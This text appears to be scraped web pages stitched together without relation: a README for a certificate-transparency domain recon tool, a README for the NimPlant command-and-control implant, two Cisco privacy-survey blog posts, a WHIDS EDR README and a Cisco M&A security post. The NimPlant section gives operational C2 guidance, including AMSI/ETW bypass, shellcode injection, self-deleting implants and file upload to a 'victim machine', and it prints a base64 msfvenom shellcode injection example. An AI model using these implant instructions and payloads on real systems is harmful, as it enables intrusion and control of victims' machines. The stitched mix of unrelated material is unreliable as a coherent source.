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By looking through CT logs an attacker can gather a lot of information about organization's infrastructure i.e. internal domains,email addresses in a completly passive manner.
moniorg leverage certificate transparency logs to monitor for newly issued domains based on organization field in their SSL certificate .
FreshRSS git clone https://github.com/yousseflahouifi/moniorg.git
pip install os sys termcolor difflib json argparse
usage: moniorg.py [-h] [-a ADD] [-g GET] [-l] [-m MONITOR] [-v] orgname
| Short form | Long form | Description |
|---|---|---|
| -h | --help | Show help message and exit |
| -a | --add | Add organization name to be monitored |
| -m | --monitor | Monitor and see newly added domains |
| -g | --get | Get a list of domains based on orgname that you are monitoring |
| -l | --list | List organization names you are monitoring |
| -v | --vps | Running moniorg in vps mode and send slack notification whenever a new domain is found (this option should be used along with -m) |
Adding an organization name to the monitoring list :
python3 moniorg.py -a "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
To see the domains gathered :
python3 moniorg.py -g "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
[+] below is the list of domains of the company ...
gmrk.mail.ru
relap.org
relap.ru
test.mail.ru
To see if new domain is added :
python3 moniorg.py -m "VK LLC"
,--
,--,--,--. ,---. ,--,--, `--' ,---. ,--.--. ,---.
| || .-. || \,--.| .-. || .--'| .-. |
| | | |' '-' '| || || |' '-' '| | ' '-' '
`--`--`--' `---' `--''--'`--' `---' `--' .`- /
`---'
By Youssef Lahouifi
Got Nothing !
moniorg depends on crt.sh website to find new domains and sometimes crt.sh looks like is timing out when the list of domain is huge . You just have to retry .
Discovering domains like never before
Subdomain enumeration is cool , How about domain enumeration ? Part I
Subdomain enumeration is cool , How about domain enumeration ? Part II
If you have a feedback or issue feel free to open it in the issues section .
By Cas van Cooten (@chvancooten), with special thanks to some awesome folks:
execute-assembly & self-deleting implant optioninline-executeinline-execute, shinject (using dynamic invocation), or in-thread execute-assembly
choosenim is recommended, as apt doesn't always have the latest version).cd client; nimble install -d).requirements.txt from the server folder (pip3 install -r server/requirements.txt).mingw toolchain for your platform (brew install mingw-w64 or apt install mingw-w64).Before using NimPlant, create the configuration file config.toml. It is recommended to copy config.toml.example and work from there.
An overview of settings is provided below.
| Category | Setting | Description |
|---|---|---|
| server | ip | The IP that the C2 web server (including API) will listen on. Recommended to use 127.0.0.1, only use 0.0.0.0 when you have setup proper firewall or routing rules to protect the C2. |
| server | port | The port that the C2 web server (including API) will listen on. |
| listener | type | The listener type, either HTTP or HTTPS. HTTPS options configured below. |
| listener | sslCertPath | The local path to a HTTPS certificate file (e.g. requested via LetsEncrypt CertBot or self-signed). Ignored when listener type is 'HTTP'. |
| listener | sslKeyPath | The local path to the corresponding HTTPS certificate private key file. Password will be prompted when running the NimPlant server if set. Ignored when listener type is 'HTTP'. |
| listener | hostname | The listener hostname. If not empty (""), NimPlant will use this hostname to connect. Make sure you are properly routing traffic from this host to the NimPlant listener port. |
| listener | ip | The listener IP. Required even if 'hostname' is set, as it is used by the server to register on this IP. |
| listener | port | The listener port. Required even if 'hostname' is set, as it is used by the server to register on this port. |
| listener | registerPath | The URI path that new NimPlants will register with. |
| listener | taskPath | The URI path that NimPlants will get tasks from. |
| listener | resultPath | The URI path that NimPlants will submit results to. |
| nimplant | riskyMode | Compile NimPlant with support for risky commands. Operator discretion advised. Disabling will remove support for execute-assembly, powershell, shell and shinject. |
| nimplant | sleepMask | Whether or not to use Ekko sleep mask instead of regular sleep calls for Nimplants. Only works with regular executables for now! |
| nimplant | sleepTime | The default sleep time in seconds for new NimPlants. |
| nimplant | sleepJitter | The default jitter in percent for new NimPlants. |
| nimplant | killDate | The kill date for Nimplants (format: yyyy-MM-dd). Nimplants will exit if this date has passed. |
| nimplant | userAgent | The user-agent used by NimPlants. The server also uses this to validate NimPlant traffic, so it is recommended to choose a UA that is inconspicuous, but not too prevalent. |
Once the configuration is to your liking, you can generate NimPlant binaries to deploy on your target. Currently, NimPlant supports .exe, .dll, and .bin binaries for (self-deleting) executables, libraries, and position-independent shellcode (through sRDI), respectively. To generate, run python NimPlant.py compile followed by your preferred binaries (exe, exe-selfdelete, dll, raw, or all) and, optionally, the implant type (nim, or nim-debug). Files will be written to client/bin/.
You may pass the rotatekey argument to generate and use a new XOR key during compilation.
Notes:
Update, which is triggered by DllMain for all entrypoints. This means you can use e.g. rundll32 .\NimPlant.dll,Update to trigger, or use your LOLBIN of choice to sideload it (may need some modifications in client/NimPlant.nim)PS C:\NimPlant> python .\NimPlant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__ ,_|_| |_|\__|
A light-weight stage 1 implant and C2 based on Nim and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant
Compiling self-deleting .exe for NimPlant
Compiling .dll for NimPlant
Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
The Docker image chvancooten/nimbuild can be used to compile NimPlant binaries. Using Docker is easy and avoids dependency issues, as all required dependencies are pre-installed in this container.
To use it, install Docker for your OS and start the compilation in a container as follows.
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPlant.py compile allOnce you have your binaries ready, you can spin up your NimPlant server! No additional configuration is necessary as it reads from the same config.toml file. To launch a server, simply run python NimPlant.py server (with sudo privileges if running on Linux). You can use the console once a Nimplant checks in, or access the web interface at http://localhost:31337 (by default).
Notes:
config.toml and .xorkey match. If not, NimPlant will not be able to connect.client/NimPlant.nim).server/logs directory. Each server instance creates a new log folder, and logs are split per console/nimplant session. Downloads and uploads (including files uploaded via the web GUI) are stored in the server/uploads and server/downloads directories respectively.server/nimplant.db. This data is also used to recover Nimplants after a server restart.NimPlant.py with the cleanup flag. Caution: This will purge everything, so make sure to back up what you need first!PS C:\NimPlant> python .\NimPlant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
_ _ _ ____ _ _
| \ | (_)_ __ ___ | _ \| | __ _ _ __ | |_
| \| | | '_ ` _ \| |_) | |/ _` | '_ \| __|
| |\ | | | | | | | __/| | (_| | | | | |_
|_| \_|_|_| |_| |_|_| |_|\__ ,_|_| |_|\__|
A light-weight stage 1 implant and C2 written in Nim and Python
By Cas van Cooten (@chvancooten)
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337.
[06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
This will start both the C2 API and management web server (in the example above at http://127.0.0.1:31337) and the NimPlant listener (in the example above at https://0.0.0.0:443). Once a NimPlant checks in, you can use both the web interface and the console to send commands to NimPlant.
Available commands are as follows. You can get detailed help for any command by typing help [command]. Certain commands denoted with (GUI) can be configured graphically when using the web interface, this can be done by calling the command without any arguments.
Command arguments shown as [required] <optional>.
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks.
cat [filename] Print a file's contents to the screen.
cd [directory] Change the working directory.
clear Clear the screen.
cp [source] [destination] Copy a file or directory.
curl [url] Get a webpage remotely and return the results.
download [remotefilepath] <localfilepath> Download a file from NimPlant's disk to the NimPlant server.
env Get environment variables.
execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] <arguments> Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR.
exit Exit the server, killing all NimPlants.
getAv List Antivirus / EDR products on target using WMI.
getDom Get the domain the target is joined to.
getLocalAdm List local administrators on the target using WMI.
getpid Show process ID of the currently selected NimPlant.
getprocname Show process name of the currently selected NimPlant.
help <command> Show this help menu or command-specific help.
hostname Show hostname of the currently selected NimPlant.
inline-execute (GUI) [localfilepath] [entrypoint] <arg1 type1 arg2 type2..> Execute Beacon Object Files (BOF) from memory.
ipconfig List IP address information of the currently selected NimPlant.
kill Kill the currently selected NimPlant.
list Show list of active NimPlants.
listall Show list of all NimPlants.
ls <path> List files and folders i n a certain directory. Lists current directory by default.
mkdir [directory] Create a directory (and its parent directories if required).
mv [source] [destination] Move a file or directory.
nimplant Show info about the currently selected NimPlant.
osbuild Show operating system build information for the currently selected NimPlant.
powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR.
ps List running processes on the target. Indicates current process.
pwd Get the current working directory.
reg [query|add] [path] <key> <value> Query or modify the registry. New values will be added as REG_SZ.
rm [file] Remove a file or directory.
run [binary] <arguments> Run a binary from disk. Returns output but blocks NimPlant while running.
screenshot Take a screenshot of the user's screen.
select [id] Select another NimPlant.
shell [command] Execute a shell command.
shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation.
sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant.
upload (GUI) [localfilepath] <remotefilepath> Upload a file from the NimPlant server to the victim machine.
wget [url] <remotefilepath> Download a file to disk remotely.
whoami Get the user ID that NimPlant is running as.
NOTE: BOFs are volatile by nature, and running a faulty BOF or passing wrong arguments or types WILL crash your NimPlant session! Make sure to test BOFs before deploying!
NimPlant supports the in-memory loading of BOFs thanks to the great NiCOFF project. Running a bof requires a local compiled BOF object file (usually called something like bofname.x64.o), an entrypoint (commonly go), and a list of arguments with their respective argument types. Arguments are passed as a space-seperated arg argtype pair.
Argument are given in accordance with the "Zzsib" format, so can be either string (alias: z), wstring (or Z), integer (aliases: int or i), short (s), or binary (bin or b). Binary arguments can be a raw binary string or base64-encoded, the latter is recommended to avoid bad characters.
Some examples of usage (using the magnificent TrustedSec BOFs [1, 2] as an example) are given below. Note that inline-execute (without arguments) can be used to configure the command graphically in the GUI.
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7 RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expectedBy default, NimPlant support push notifications via the notify_user() hook defined in server/util/notify.py. By default, it implements a simple Telegram notification which requires the TELEGRAM_CHAT_ID and TELEGRAM_BOT_TOKEN environment variables to be set before it will fire. Of course, the code can be easily extended with one's own push notification functionality. The notify_user() hook is called when a new NimPlant checks in, and receives an object with NimPlant details, which can then be pushed as desired.
As a normal user, you shouldn't have to modify or re-build the UI that comes with Nimplant. However, if you so desire to make changes, install NodeJS and run an npm install while in the ui directory. Then run ui/build-ui.py. This will take care of pulling the packages, compiling the Next.JS frontend, and placing the files in the right location for the Nimplant server to use them.
NimPlant was developed as a learning project and released to the public for transparency and educational purposes. For a large part, it makes no effort to hide its intentions. Additionally, protections have been put in place to prevent abuse. In other words, do NOT use NimPlant in production engagements as-is without thorough source code review and modifications! Also remember that, as with any C2 framework, the OPSEC fingerprint of running certain commands should be considered before deployment. NimPlant can be compiled without OPSEC-risky commands by setting riskyMode to false in config.toml.
There are many reasons why Nimplant may fail to compile or run. If you encounter issues, please try the following (in order):
chvancooten/nimbuild docker container to rule out any dependency issuesserver/logs directory for any errorsnim-debug compilation mode to compile with console and debug messages (.exe only) to see if any error messages are returnedAs part of Cisco’s recognition of International Data Privacy Day, today we released the Cisco 2023 Data Privacy Benchmark Study, our sixth annual review of key privacy issues and their impact on business. Drawing on responses from more than 3100 organizations in 26 geographies, the findings show that organizations continue to prioritize and get attractive returns from their privacy investments, while integrating privacy into many of their most important processes, including sales motions, management metrics, and employee responsibilities.
Nearly all organizations have recognized the importance of privacy to their business. Ninety-four percent (94%) of respondents said their customers wouldn’t buy from them if their data was not properly protected, and 95% said privacy has become a business imperative.
Even in a difficult economic environment, the average privacy spend in 2022 was $2.7 Million, up 125% from 3 years ago. Estimated benefits from privacy rose to $3.4 Million with significant gains across all organization sizes. The average organization is getting benefits of 1.8 times spending, meaning they get $180 of benefit for each $100 invested in privacy. Thirty-six percent (36%) of organizations are getting returns at least twice their spending with many getting returns upwards of 3 or 5 times.
More organizations are recognizing that everyone across the organization plays a vital role in protecting personal data. Ninety-five percent (95%) of survey respondents said that “all of their employees” need to know how to protect data privacy. Among the security professionals who completed our survey, one-third (33%) included data privacy in their top three areas of responsibility.
Another important indication of privacy’s importance to the organization is the use of privacy metrics. Ninety-eight percent (98%) of organizations said they are reporting one or more privacy-related metrics to the Board of Directors. The average number of privacy metrics was 3.1, which is up from 2.6 in last year’s survey. The most-reported metrics include the status of any data breaches, impact assessments, and incident response.
Privacy legislation continues to be very well-received around the world. Seventy-nine percent (79%) of all corporate respondents said privacy laws have had a positive impact, and only 6% indicated that the laws have had a negative impact.
Ninety-six percent (96%) of organizations said they have an ethical obligation to treat data properly. However, when it comes to earning and building customer trust, their priorities are not fully consistent with those of consumers. Transparency – providing easily accessible and clear information about how their data is being used – was the top priority (39%) for respondents in the consumer survey, well ahead of not selling personal information or complying with privacy laws. Yet, when asked what builds trust for consumers, organizations in the Benchmark Survey selected compliance over transparency. It seems consumers consider legal compliance to be a “given” with transparency more of a differentiator.
This disconnect can also be seen when it comes to the use of Artificial Intelligence (AI). Ninety-six percent (96%) of organizations in our survey believe they have processes already in place to meet the responsible and ethical standards that customers expect. Yet, the majority of consumers don’t see it that way. As reported in our 2022 Consumer Privacy Survey, 65% already have lost trust in organizations over their AI practices. Fortunately, organizations may be starting to get the message that they aren’t doing enough. Ninety-two percent (92%) of respondents said that when it comes to AI applications, their organization needs to be doing more to reassure customers that their data is only being used for intended and legitimate purposes.
Many governments and organizations are putting in place data localization requirements, which forces data to be kept within a country or region. The vast majority (88%) of survey respondents believe that their data would be inherently safer if it is only stored locally. Remarkably, 90% also said that a global provider, operating at scale, can better protect the data compared to local providers. When viewing these two statements together, it seems that while organizations would ideally like to keep their data local, they still prefer and trust a global provider over a local provider. Of course, if they can get both — a local instance set up by a global provider — they would presumably like that even better.
This research suggests that organizations should continue to build and apply privacy capabilities into their operations and solutions, particularly among engineering, IT and security professionals, and those who work with personal data. Transparency is particularly important to customers, and organizations need to do more to reassure customers on how their data is being used, especially when applying and using AI and automated decision-making. Finally, organizations should consider the consequences of data localization requirements and recognize that these add cost and may degrade functionality, privacy, and security.
To learn more, check out the Cisco 2023 Data Privacy Benchmark Study, Infographic, and our Principles for Responsible AI.
Also, the new Cisco 2022 Purpose Report (Power section) and the Cisco ESG Reporting Hub (Integrity and Trust section) to see how trustworthiness, transparency, and accountability are key to Cisco’s approach to security, privacy, and trust.
All this and more can be found on the Cisco Trust Center.
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
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EDR with artifact collection driven by detection. The detection engine is built on top of a previous project Gene specially designed to match Windows events against user defined rules.
It means that an alert can directly trigger some artifact collection (file, registry, process memory). This way you are sure you collected the artifacts as soon as you could (near real time).
All this work has been done on my free time in the hope it would help other people, I hope you will enjoy it. Unless I get some funding to further develop this project, I will continue doing so. I will make all I can to fix issues in time and provide updates. Feel free to open issues to improve that project and keep it alive.
NB: the EDR agent can be ran standalone (without being connected to an EDR manager)
NB: event filtering can be done at 100% with Gene rules so do not bother creating a complicated Sysmon configuration.
In order to get the most of WHIDS you might want to improve your logging policy.
Computer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\System Audit Policies\System\Audit Security System Extension -> EnableComputer Configuration\Windows Settings\Security Settings\Advanced Audit Policy Configuration\System Audit Policies\Object Access\Audit File System -> EnableSelect a principal (put here the name of the user/group you want the audit for). Put group Everyone if you want to log access from any user.Apply this to is used to select the scope of this audit policy starting from the folder you have selectedBasic permissions select the kinds of accesses you want the logs to be generated forSecurity log channelMicrosoft-Windows-Windows Defender/Operational monitored by the EDR.This section covers the installation of the agent on the endpoint.
manage.bat as administrator
manage.bat or using your preferred text editormanage.bat or just reboot (preferred option otherwise some enrichment fields will be incomplete leading to false alerts)NB: At installation time the Sysmon service will be made dependent of WHIDS service so that we are sure the EDR runs before Sysmon starts generating some events.
The EDR manager can be installed on several platforms, pre-built binaries are provided for Windows, Linux and Darwin.
Please visit doc/configuration.md
\\vbox\test is mounted as Z: drive, running Z:\whids.exe won't work while running \\vbox\test\whids.exe actually would.Github:https://github.com/tines Website:https://www.tines.com/ Twitter:@tines_io
How do organizations earn and build trust when it comes to the personal data that customers share with them? Customers certainly expect these organizations to comply with all privacy laws that are now in place in more than 130 countries. Customers also expect them not to sell personal data without consent and to try to avoid data breaches that could expose personal data. While these actions are necessary, organizations still need to do more when it comes to customer trust. According to our latest research, consumers’ top priority is, in fact, for organizations to be more transparent about how they use personal data.
The Cisco 2022 Consumer Privacy Survey, released today, explores what organizations can do to earn and build trust with customers, the actions individuals are taking to protect their data, the impact of privacy laws around the world, and some of the benefits and costs of Artificial Intelligence (AI) and data localization requirements. The report, our fourth annual look at consumer privacy issues, draws on anonymous responses from 2600 adults in 12 countries.
Here are some highlights from the survey:
Check out the associated infographic that provides visual and easily consumable descriptions of the key data.
At Cisco, we believe that privacy is a fundamental human right. Privacy continues to be a high priority for consumers, and organizations need to do their part to protect personal data and build consumer confidence in how this data is being used. Some recommendations for organizations include:
Privacy remains a critical element of trust. Consumers want more transparency and control of their personal data, especially as we continue to see innovations in technology. As we are now in the midst of Cybersecurity Awareness Month in the US and other countries around the world, it’s a great time to learn more and join in activities and discussions that advance cybersecurity.
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
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Jason Button is a director at Cisco and leads the company’s Security and Trust Mergers and Acquisitions (M&A) team. He was formerly the director of IT at Duo Security, a company Cisco acquired in 2018, making him uniquely positioned to lend his expertise to the M&A process. This blog is the second in a series focused on M&A cybersecurity, following Jacob Bolotin’s post on Managing Cybersecurity Risk in M&A.
All good relationships are built on trust. Add in transparency, and the union becomes even more substantial. “Trust and transparency underpin everything we do,” says Button, “Cisco takes security, trust, and transparency very seriously, and it’s part of our team’s fabric.”
When Cisco acquires a company, the Security and Trust M&A team looks at not only what they can offer in the way of security but also what unique qualities the acquired company brings to Cisco. These qualities might be related to security, but they’re also found in the acquired company’s culture, technical knowledge, and processes.
In all acquisitions, the M&A team needs to move fast. In fact, the Cisco team is committed to pushing even faster as long as they never compromise on security. Around 2020, Button and his team began taking stock of how it does things. They evaluated everything from the ground up, willing to tease out what is working and toss out what isn’t.
The team is also on a trajectory of identifying how it can digitize and automate security.
“If we were going to do things differently, we needed to be bold about it,” says Mohammad Iqbal, information security architect in the Security and Trust M&A team. One of the changes Iqbal proposed to his colleagues is to ensure that an acquired company is integrated into Cisco’s critical security controls within three months after the acquisition deal closes.
To successfully meet the three-month target, the M&A team works closely with the acquired company to identify and address all non-integrated risks (NIRs) that Cisco inherits from an acquisition and encompass:
NIRs are a subset of eight security domains, or operating norms, that align with Cisco’s security and trust objectives and top priorities of the larger security community (Figure 1). The M&A team’s focus on NIRs steers the due diligence conversation away from identifying the acquisition’s security deficiencies and towards understanding the inherent risks associated with the acquisition and measuring the security liability.
“Acquisitions are coming in with these risks, and so we must address NIRs early when we’re signing non-disclosure agreements. In doing so, we help put these companies in a position to integrate successfully with all the security domains. And this integration should be done in the shortest time possible within a year of close,” Iqbal says.
Building trust and being transparent early on is critical so the acquired company knows what’s expected of them and is ready to accomplish its three-month and first-year goals.
“I wish this type of conversation was offered to me when Cisco acquired Duo,” Button says. “Being on the Duo side of that deal, I would’ve been able to say with confidence, ‘OK, I get it. I know what’s expected of me. I know where to go. I know what I need to do with my team.’”
“We have a limited time window to make sure an acquisition company is heading down the right route. We want to get in there early and quickly and make it easy,” adds Button.
Reducing the manual intervention required by the acquired company is integral to helping the acquisition meet the three-month goal. Here’s where automation can play a significant role and the M&A team is looking toward innovation.
“We’re working on bringing in automated processes to lessen the burden on the acquired company,” says Iqbal. The M&A team realizes that much of the automation can be applied in instrumenting the security controls and associated APIs to help the team move beyond what they have already assessed at acquisition day 0 and gain the visibility they need to get the acquired company to its three-month goal. For example, they can automate getting the acquired company on Cisco’s vulnerability scans, using internal tools, or attaining administrative access privileges.
So, Iqbal, Button, and the rest of the team are working on automating processes—developing the appropriate architecture pipeline and workflows—that help acquired companies integrate critical security controls. While the ability to automate integration with security controls is not novel, the innovation that the M&A team brings to the table is the ability to position an acquired target to integrate with security controls in the most expedited way possible.
As with due diligence, the M&A team strives to complete the discovery phase before the acquisition deal close. Here’s another step where digitization and automation can simplify and shorten processes. Take the acquisition company questionnaire, for instance.
“Instead of asking dozens of questions, we could give the company an audit script to run in their environment,” Iqbal says. “Then, all they have to do is give us the results.”
Also, the questionnaire can be dynamically rendered through a dashboard, improving the user experience, and shortening completion time. For example, the number of questions about containers could automatically retract if the acquired company uses Azure Kubernetes Service.
Many teams within Cisco compete for an acquired company’s time before and after an acquisition deal closes. The acquired company is pulled in several different directions. That’s why the Security and Trust M&A team doesn’t stop looking for ways to digitize and automate security processes after the close—to continue to help make the acquired company’s transition more manageable.
“If we can make processes simple, people will use them and see the value in them within days, not weeks or quarters,” says Button.
“The majority of companies we acquire are smaller,” Button says. “They don’t have large security teams. We want them to tap our plethora of security experts. We want to enable an acquired company to apply Cisco’s ability to scale security at their company. Again, we want things to be simple for them.”
The M&A team helps facilitate simplicity by telling a consistent story (maintaining consistent messaging unique to the acquired company) to all the groups at Cisco involved in the acquisition, including M&A’s extended Security and Trust partners such as corporate security, IT, and supply chain. Because each group deals with different security aspects of the integration plan, it’s essential that everyone is on the same page and understands the changes, improvements, and benefits of the acquisition that are relevant to them. Maintaining a consistent message can go a long way toward reducing complexity.
The human element can easily get overlooked throughout an acquisition’s myriad business, technical, and administrative facets. Balancing the human aspect with business goals and priorities is essential to Button and the entire Security and Trust M&A team. They want to bring the human connection to the table. In this way, trust and transparency are on their side.
“Emotions can run the gamut in an acquisition. Some people will be happy. Others will be scared. If you don’t make a human connection, you’ll lose so much value in the acquisition,” Button says. “You can lose people, skillsets, efforts. If we don’t make that human connection, then we lose that balance, and we won’t be off to a great start.”
One way the M&A team helps maintain that balance is by embracing the things that make the acquired company unique. “It’s vital to identify those things early on so we can protect and nurture them,” says Button.
He also wants to remind companies that they don’t have to be experts at everything asked of them during acquisition. “Cisco has been here for a while. We have entire teams within M&A that are dedicated to doing one thing. We can help acquired companies find out where they’re struggling. We can handle the things they don’t want to deal with.”
“M&A is complex, but complexity is off the chart when you talk about M&A and security. Our team won’t be successful if we can’t find a way to make things easier for the acquired company. They need to understand where they’re headed and why,” Button says. “It’s up to us to motivate them towards a successful outcome.”
Managing Cybersecurity Risk in M&A
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